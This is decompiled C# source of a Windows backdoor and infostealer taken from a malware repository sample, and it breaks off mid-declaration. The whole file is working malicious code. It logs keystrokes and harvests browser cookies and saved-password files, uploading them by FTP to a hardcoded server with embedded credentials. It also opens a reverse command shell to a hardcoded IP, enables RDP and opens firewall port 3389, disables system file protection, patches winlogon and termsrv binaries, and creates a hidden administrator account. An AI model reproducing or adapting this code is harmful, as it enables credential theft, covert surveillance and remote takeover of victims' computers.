// Decompiled with JetBrains decompiler
// Type: Troj.Program
// Assembly: VK, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 64278B1C-A059-4FC3-9B7E-17F3FB265C20
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732.exe

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.DirectoryServices;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace Troj
{
  public class Program
  {
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 256;
    private static int svsex;
    private static int sdosta;
    private static string logkey;
    private static int keycount = 0;
    private static Thread[] thkey;
    private static Thread[] tcherez;
    private static int cerezcount = 0;
    private static int keyI;
    private static string strbug;
    private static string strbuftx;
    private static string buflyb;
    private static int ftpi;
    private static int countGroup = 0;
    private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
    private static IntPtr _hookID = IntPtr.Zero;
    private static Thread th;
    private static TcpClient socketForServer;
    private static NetworkStream networkStream;
    private static StreamWriter streamWriter;
    private static StreamReader streamReader;
    private static Process processCmd;
    private static StringBuilder strInput;

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(
      int idHook,
      Program.LowLevelKeyboardProc lpfn,
      IntPtr hMod,
      uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(
      IntPtr hhk,
      int nCode,
      IntPtr wParam,
      IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("user32.dll")]
    public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    private static void SearchAll(
      string disk,
      string n_file,
      string smail,
      string sftp,
      string spapka)
    {
      DirectoryInfo directoryInfo = new DirectoryInfo(disk);
      try
      {
        foreach (DirectoryInfo directory in directoryInfo.GetDirectories())
        {
          try
          {
            foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
              Program.CherezShto(file.FullName, smail, sftp, spapka);
          }
          catch
          {
          }
          Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
        }
      }
      catch
      {
      }
    }

    private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
    {
      using (Process currentProcess = Process.GetCurrentProcess())
      {
        using (ProcessModule mainModule = currentProcess.MainModule)
          return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
      }
    }

    private static string TimeNow()
    {
      DateTime now = DateTime.Now;
      return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
    }

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
      Program.thkey = new Thread[128];
      if (nCode >= 0 && wParam == (IntPtr) 256)
      {
        int num = Marshal.ReadInt32(lParam);
        if (num == 13)
        {
          Program.logkey += "\n";
        }
        else
        {
          ++Program.sdosta;
          ++Program.svsex;
          Program.logkey = Program.logkey + (object) (Keys) num + ";";
          if (Program.sdosta == 30)
          {
            Program.sdosta = 0;
            string time = Program.TimeNow();
            try
            {
              StreamWriter streamWriter = new StreamWriter("Текстовый документ" + time + ".txt");
              streamWriter.Write(Program.logkey);
              streamWriter.Close();
              Program.thkey[Program.keycount] = new Thread((ThreadStart) (() =>
              {
                if (!Program.CherezShto("Текстовый документ" + time + ".txt", "False", "True", "ГЕНЕРАТОР"))
                  ;
              }));
              Program.thkey[Program.keycount].Start();
              ++Program.keycount;
            }
            catch
            {
            }
            if (Program.keycount > 120)
              Program.keycount = 0;
            Program.logkey = (string) null;
          }
        }
      }
      return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
    }

    public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
    {
      try
      {
        foreach (string logicalDrive in Directory.GetLogicalDrives())
          Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
      }
      catch
      {
      }
    }

    public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
    {
      if (nmail == "True" || nmail == "true")
        Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false);
      if (nftp == "True" || nmail == "true")
        Program.Upload_ftp(strfile, "kot3290.aiq.ru", "u321582", "1lkm07p2", pftp);
      return true;
    }

    public static void CreatFileIEforXP(string smail, string sftp, string spapka)
    {
      if (System.IO.File.Exists("D:\\ГЕНЕРАТОР"))
        System.IO.File.Delete("D:\\ГЕНЕРАТОР");
      try
      {
        string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\");
        string[] strArray1 = new string[directories1.Length];
        for (int index1 = 0; index1 < directories1.Length; ++index1)
        {
          if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService"))
          {
            strArray1[index1] = directories1[index1].Substring(26);
            string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString());
            string[] strArray2 = new string[directories2.Length];
            StreamReader streamReader = (StreamReader) null;
            StreamWriter streamWriter = new StreamWriter("D:\\ГЕНЕРАТОР", true, Encoding.UTF8);
            for (int index2 = 0; index2 < directories2.Length; ++index2)
            {
              strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length);
              if (strArray2[index2] == "\\Cookies")
              {
                string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt");
                string[] strArray3 = new string[files.Length];
                for (int index3 = 0; index3 < files.Length; ++index3)
                {
                  strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length);
                  string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString();
                  streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read));
                  string str = path + "\n" + streamReader.ReadToEnd();
                  streamWriter.Write(str);
                }
                streamReader.Close();
                streamWriter.Close();
                break;
              }
            }
          }
        }
        Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka);
      }
      catch
      {
        if (!System.IO.File.Exists("D:\\ГЕНЕРАТОР"))
          return;
        Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka);
      }
    }

    public static bool Sendmailfile(
      string temp,
      string user,
      string ssmtp,
      int sport,
      string smail,
      string spass,
      string vmail,
      bool sssl)
    {
      Attachment attachment = new Attachment(temp, "application/octet-stream");
      bool flag;
      try
      {
        SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
        smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
        smtpClient.EnableSsl = sssl;
        MailMessage message = new MailMessage();
        message.From = new MailAddress(smail);
        message.To.Add(new MailAddress(vmail));
        message.Subject = user;
        message.Body = user;
        message.Attachments.Add(attachment);
        smtpClient.Send(message);
        attachment.Dispose();
        flag = true;
      }
      catch
      {
        flag = false;
        attachment.Dispose();
      }
      return flag;
    }

    private static bool Upload_ftp(
      string filename,
      string ftpServerIP,
      string ftpUserID,
      string ftpPassword,
      string papka)
    {
      ++Program.ftpi;
      FileInfo fileInfo = new FileInfo(filename);
      FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
      ftpWebRequest.Proxy = (IWebProxy) null;
      ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
      ftpWebRequest.KeepAlive = false;
      ftpWebRequest.Method = "STOR";
      ftpWebRequest.UseBinary = true;
      ftpWebRequest.ContentLength = fileInfo.Length;
      int count1 = 2048;
      byte[] buffer = new byte[count1];
      FileStream fileStream = fileInfo.OpenRead();
      try
      {
        Stream requestStream = ftpWebRequest.GetRequestStream();
        for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
          requestStream.Write(buffer, 0, count2);
        requestStream.Close();
        fileStream.Close();
        return true;
      }
      catch
      {
        return false;
      }
    }

    public static void userVista(
      string disk,
      string n_file,
      string m_send,
      string smail,
      string sftp,
      string spapka)
    {
      if (m_send == "c_send")
      {
        try
        {
          string path = "C:\\Users";
          string[] directories = Directory.GetDirectories(path);
          for (int index = 0; index < directories.Length; ++index)
          {
            try
            {
              if (!(directories[index] == path + "\\All Users"))
              {
                if (!(directories[index] == path + "\\Default"))
                {
                  if (!(directories[index] == path + "\\Default User"))
                  {
                    if (!(directories[index] == path + "\\Public"))
                      Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka);
                  }
                }
              }
            }
            catch
            {
            }
          }
        }
        catch
        {
        }
      }
      if (!(m_send == "p_send"))
        return;
      Program.SearchAll(disk, n_file, smail, sftp, spapka);
    }

    public static void CreatFileIEforVista(string smail, string sftp, string spapka)
    {
      if (System.IO.File.Exists("D:\\ГЕНЕРАТОР"))
        System.IO.File.Delete("@D:\\ГЕНЕРАТОР");
      try
      {
        string path = "C:\\Users";
        string searchPattern = "*.txt";
        string[] directories = Directory.GetDirectories(path);
        for (int index = 0; index < directories.Length; ++index)
        {
          try
          {
            if (!(directories[index] == path + "\\All Users"))
            {
              if (!(directories[index] == path + "\\Default"))
              {
                if (!(directories[index] == path + "\\Default User"))
                {
                  if (!(directories[index] == path + "\\Public"))
                  {
                    foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies"))
                    {
                      try
                      {
                        DirectoryInfo directoryInfo = new DirectoryInfo(directory);
                        StreamReader streamReader = (StreamReader) null;
                        StreamWriter streamWriter = new StreamWriter("D:\\ГЕНЕРАТОР", true, Encoding.UTF8);
                        foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
                        {
                          streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
                          string str = file.FullName + "\n" + streamReader.ReadToEnd();
                          streamWriter.Write(str);
                        }
                        streamReader.Close();
                        streamWriter.Close();
                      }
                      catch
                      {
                      }
                    }
                  }
                }
              }
            }
          }
          catch
          {
          }
        }
        Program.CherezShto("D:\\ГЕНЕРАТОР", smail, sftp, spapka);
      }
      catch
      {
      }
    }

    [STAThread]
    private static void Main(string[] args)
    {
      Console.Title = args.Length != 0 ? args[0].ToString() : "Hello";
      Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
      try
      {
        new Thread((ThreadStart) (() =>
        {
          Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "wand.dat", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "*.bip", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "*.qip", "False", "True", "ГЕНЕРАТОР");
        })).Start();
        new Thread(new ThreadStart(Program.key)).Start();
        new Thread((ThreadStart) (() => Program.Backdoor())).Start();
      }
      catch
      {
        new Thread((ThreadStart) (() =>
        {
          Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "wand.dat", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "*.bip", "False", "True", "ГЕНЕРАТОР");
          Program.SearchAll("C:\\", "*.qip", "False", "True", "ГЕНЕРАТОР");
        })).Start();
        new Thread(new ThreadStart(Program.key)).Start();
        new Thread((ThreadStart) (() => Program.Backdoor())).Start();
      }
    }

    public static void Backdoor()
    {
      try
      {
        Thread tsend = new Thread((ThreadStart) (() =>
        {
          try
          {
            Program.processCmd = new Process();
            Program.processCmd.StartInfo.FileName = "cmd.exe";
            Program.processCmd.StartInfo.CreateNoWindow = true;
            Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            Program.processCmd.StartInfo.UseShellExecute = false;
            Program.processCmd.StartInfo.RedirectStandardOutput = true;
            Program.processCmd.StartInfo.RedirectStandardInput = true;
            Program.processCmd.StartInfo.RedirectStandardError = true;
            Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
            Program.processCmd.Start();
            Program.processCmd.BeginOutputReadLine();
            Program.strInput = new StringBuilder();
            try
            {
              while (true)
              {
                Program.strInput.Append(Program.streamReader.ReadLine());
                Program.strInput.Append("\n");
                Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
                Program.processCmd.StandardInput.Flush();
                Program.strInput.Remove(0, Program.strInput.Length);
              }
            }
            catch (Exception ex)
            {
            }
          }
          catch
          {
          }
        }));
        new Thread((ThreadStart) (() =>
        {
          try
          {
            Program.socketForServer = new TcpClient("178.126.80.5", 8080);
            Program.networkStream = Program.socketForServer.GetStream();
            Program.streamReader = new StreamReader((Stream) Program.networkStream);
            Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
            tsend.Start();
          }
          catch
          {
          }
        })).Start();
      }
      catch
      {
      }
    }

    private static void proc(object sender, DataReceivedEventArgs e)
    {
      StringBuilder stringBuilder = new StringBuilder();
      if (string.IsNullOrEmpty(e.Data))
        return;
      try
      {
        stringBuilder.Append(e.Data);
        Program.streamWriter.WriteLine((object) stringBuilder);
        Program.streamWriter.Flush();
      }
      catch
      {
      }
    }

    public static void FileP()
    {
      try
      {
        if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache"))
        {
          int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length;
          for (int index = 0; index < length; ++index)
          {
            try
            {
              System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]);
            }
            catch
            {
            }
          }
        }
        if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot"))
          return;
        for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1)
        {
          for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2)
          {
            FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]);
            try
            {
              Console.WriteLine(fileInfo.Name);
              fileInfo.Delete();
              --index2;
            }
            catch
            {
            }
          }
        }
      }
      catch
      {
      }
    }

    public static void RegConfig()
    {
      try
      {
        Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
        RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
        registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
        registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
        registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
        registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
        registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
        registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String);
        RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true);
        registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
        registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
        RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
        registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
        registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
        registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
        registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
        registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
        registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
        registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
        registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
        registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
        registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
        registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord);
        registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
        RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
        registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
        registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
        registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
        registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
        registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
        registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
        registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
        registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
        Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
        RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
        registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
        registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
      }
      catch
      {
      }
    }

    public static void RDP_M()
    {
    }

    public static void WinLogon()
    {
      try
      {
        if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
          return;
        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak");
        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
        System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp");
        FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open);
        byte[] buffer = new byte[fileStream.Length];
        fileStream.Read(buffer, 0, (int) fileStream.Length);
        buffer[94] = (byte) 110;
        buffer[173347] = (byte) 85;
        buffer[173348] = (byte) 139;
        buffer[173349] = (byte) 236;
        buffer[173437] = (byte) 139;
        buffer[173438] = byte.MaxValue;
        buffer[173439] = (byte) 85;
        BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
        binaryWriter.Write(buffer);
        binaryWriter.Close();
        fileStream.Close();
        if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
        {
          System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
          System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
        }
        else
          System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del");
        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe");
      }
      catch
      {
      }
    }

    public static void TermSrv()
    {
      string str = Program.TimeNow();
      try
      {
        if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
        {
          System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
          System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
        }
        else
          System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
        if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
          System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
        System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
      }
      catch (Exception ex)
      {
        Console.WriteLine(ex.Message);
      }
    }

    public static void CreateUser(string UserName, string Password)
    {
      try
      {
        DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer");
        DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user");
        directoryEntry2.Invoke("SetPassword", (object) Password);
        directoryEntry2.CommitChanges();
        try
        {
          directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
        }
        catch
        {
          try
          {
            directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString());
          }
          catch
          {
          }
        }
        DirectoryEntry directoryEntry3;
        try
        {
          directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group");
          directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
        }
        catch
        {
          directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group");
          directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString());
        }
        directoryEntry3.Close();
        directoryEntry1.Close();
        directoryEntry2.Close();
      }
      catch
      {
      }
    }

    private static void proces(string proc)
    {
      bool flag = true;
      try
      {
        while (flag)
        {
          Application.DoEvents();
          Process[] processArray = (Process[]) null;
          for (int index = 0; index < processArray.Length; ++index)
          {
            processArray = Process.GetProcesses();
            Thread.Sleep(20);
            if (processArray[index].ProcessName == proc)
              processArray[index].Kill();
          }
        }
      }
      catch
      {
      }
    }

    private static void key()
    {
      try
      {
        Thread.Sleep(100);
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Program._hookID = Program.SetHook(Program._proc);
        Application.Run();
        Program.UnhookWindowsHookEx(Program._hookID);
      }
      catch
      {
      }
    }

    private static void Screnn()
    {
      for (int index = 1; index <= 0; ++index)
      {
        Thread.Sleep(TimeSpan.FromSeconds(0.0));
        new Program.ScreenShotDll().CaptureScreen("null" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg);
      }
    }

    private static bool buffDlin()
    {
      int length = "null".Length;
      return true;
    }

    private static bool buffZ()
    {
      Program.buflyb = (string) null;
      int length = "null".Length;
      return true;
    }

    private static bool buffCritery() => Program.buffZ();

    private static void strBuffer()
    {
      bool flag = true;
      while (true)
      {
        do
        {
          IDataObject dataObject;
          do
          {
            do
            {
              Application.DoEvents();
              Thread.Sleep(100);
            }
            while (!flag);
            dataObject = Clipboard.GetDataObject();
          }
          while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text));
          Program.strbug = (string) dataObject.GetData(DataFormats.Text);
        }
        while (!flag || !Program.buffCritery());
        Clipboard.SetDataObject((object) "null");
      }
    }

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

    public class ScreenShotDll
    {
      public void CaptureScreen(string fileName, ImageFormat imageFormat)
      {
        int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
        int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
        int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
        Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
        Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
        this.SaveImageAs(compatibleBitmap, fileName, imageFormat);
        this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
      }

      public Bitmap CaptureScreen()
      {
        int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow());
        int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc);
        int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10));
        Program.GDI32.SelectObject(compatibleDc, compatibleBitmap);
        Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376);
        Bitmap image = this.GetImage(compatibleBitmap);
        this.Cleanup(compatibleBitmap, windowDc, compatibleDc);
        return image;
      }

      private void Cleanup(int hBitmap, int hdcSrc, int hdcDest)
      {
        Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc);
        Program.GDI32.DeleteDC(hdcDest);
        Program.GDI32.DeleteObject(hBitmap);
      }

      private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat);

      private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height);
    }

    private class User32
    {
      [DllImport("User32.dll")]
      public static extern int GetDesktopWindow();

      [DllImport("User32.dll")]
      public static extern int GetWindowDC(int hWnd);

      [DllImport("User32.dll")]
      public static extern int ReleaseDC(int hWnd, int hDC);
    }

    private class GDI32
    {
      [DllImport("GDI32.dll")]
      public static extern bool BitBlt(
        int hdcDest,
        int nXDest,
        int nYDest,
